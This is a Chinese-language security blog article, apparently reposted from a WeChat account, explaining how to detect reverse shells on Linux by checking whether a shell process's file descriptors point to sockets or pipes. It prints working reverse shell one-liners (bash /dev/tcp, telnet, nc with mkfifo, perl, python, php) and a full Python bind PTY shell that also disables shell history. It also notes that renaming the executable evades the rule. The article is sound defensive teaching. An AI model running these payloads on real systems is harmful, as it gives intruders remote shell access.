常见反弹shell检测方式

admin 2024年3月15日07:44:03评论10 views字数 2801阅读9分20秒阅读模式

前言

反弹shell,是外部人员通过web或者软件的漏洞,建立了一个数据流通向网络外部的shell执行环境。大部分的公司网络都会限制外部服务器连接公司内部的服务器,但是不会限制内部服务器主动外联,这就是反弹shell的利用场景。

常见反弹shell特征

下面就是一些常用的反弹shell方式:

实例1,Bash反弹:

Bash反弹,远程主机监听端口:

nc -lvp 7777

被入侵的机器反弹shell命令如下:

bash -i >& /dev/tcp/192.168.7.61/7777 0>&1

目标机执行后的结果如下:

创建了一个常住进程“bash -i”, 它的得0和1文件描述符都指向socket。

匹配规则:bash进程的0,和1文件描述符指向socket,匹配规则:打开文件的名字中含有ESTABLISHED。

常见反弹shell检测方式

反弹shell命令含义

bash -i:启动交互式bash进程 

& /dev/tcp/ip/port:将stdout/stderr重定向到与ip:port的tcp套接字中 

0>&1:将stdin重定向到stdout中(此时stdout是重定向到套接字的,也就是说stdin也将从套接字中读取)

当Linux启动的时候会默认打开三个文件描述符,分别是:

标准输入standard input 0 (默认设备键盘)

标准输出standard output 1(默认设备显示器)

错误输出:error output 2(默认设备显示器)

讲这个的文章:https://xz.aliyun.com/t/2548#toc-7

https://xz.aliyun.com/t/2549

实例2,telnet反弹:

远程主机监听端口:

nc -lvvp 4444nc -lvvp 5555

被入侵的机器反弹shell命令如下:

telnet 192.168.7.61 4444 | /bin/bash | telnet 192.168.7.61 5555

目标机执行后的结果如下:

创建了bash进程,0和1描述符都指向了pipe,这两个pipe关联到两个telnet进程上。两个telent创建了socket外联。

匹配规则:bash进程的0,和1文件描述符指向pipe

常见反弹shell检测方式

实例3,nc(netcat)反弹:

远程主机监听端口:

nc -lvvp 4444 

被入侵的机器反弹shell命令如下:

rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc 192.168.61 4444 >/tmp/f

目标机执行后的结果如下:

创建了bash进程,0和1描述符都指向了pipe,这两个pipe关联到文件和nc上。

匹配规则:bash进程的0,和1文件描述符指向pipe

常见反弹shell检测方式

实例4,perl反弹:

远程主机监听端口:

nc -lvvp 4444

被入侵的机器反弹shell命令如下:

perl -e 'use Socket;$i="127.0.0.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

目标机执行后的结果如下:

创建了dash进程,0和1描述符都指向了socket。

匹配规则:sh或者sh进程的0,和1文件描述符指向socket

常见反弹shell检测方式

常见反弹shell检测方式

实例5,Python反弹:

远程主机监听端口:

nc -lvvp 4444

被入侵的机器反弹shell命令如下:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

目标机执行后的结果如下:

创建了bash进程,0和1描述符都指向了socket。

匹配规则:bash的0,和1文件描述符指向socket

常见反弹shell检测方式

 

实例6,php反弹:

远程主机监听端口:

nc -lvvp 4444

被入侵的机器反弹shell命令如下:

php -r '$sock=fsockopen("192.168.7.61",4444);exec("/bin/bash -i <&3 >&3 2>&3");'

目标机执行后的结果如下:

创建了bash和dash进程,0和1描述符都指向了socket。

匹配规则:bash或dash进程的0,和1文件描述符指向socket

常见反弹shell检测方式

 

实例7,受害机主动监听:

 

被入侵监听端口:

#!/usr/bin/python2"""Python Bind TCP PTY Shell - testing versioninfodox - insecurety.net (2013)Binds a PTY to a TCP port on the host it is ran on."""import osimport ptyimport socket lport = 31337 # XXX: CHANGEME def main():    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    s.bind(('0.0.0.0', lport))    s.listen(1)    (rem, addr) = s.accept()    os.dup2(rem.fileno(),0)    os.dup2(rem.fileno(),1)    os.dup2(rem.fileno(),2)    os.putenv("HISTFILE",'/dev/null')    pty.spawn("/bin/bash")    s.close()      if __name__ == "__main__":    main()

黑客主机机器主动连接如下:

telnet 192.168.7.6 31337

目标机执行后的结果如下:

接受连接后:

进程python的0和1变成socket:

Bash进程3和4是socket。

匹配规则:python进程的0,和1文件描述符指向socket

 

检测规则总结

反弹shell都要用到重定向因此查找重定向符,然后看是否关联到socket,pipe,最后看执行环境是否是bash,sh等。

缺点:改变可执行环境的名称,可以绕过

归纳起来,就是具备执行环境的文件如果0和1文件描述符都关联到socket或者pipe,就认为它是反弹shell。

上面只是最常见的一些反弹shell检测规则,msf上有一些反弹shell的可能并不适合上述的规则。


原文始发于微信公众号(信安路漫漫):常见反弹shell检测方式

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月15日07:44:03
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   常见反弹shell检测方式https://cn-sec.com/archives/2576026.html

发表评论

匿名网友 填写信息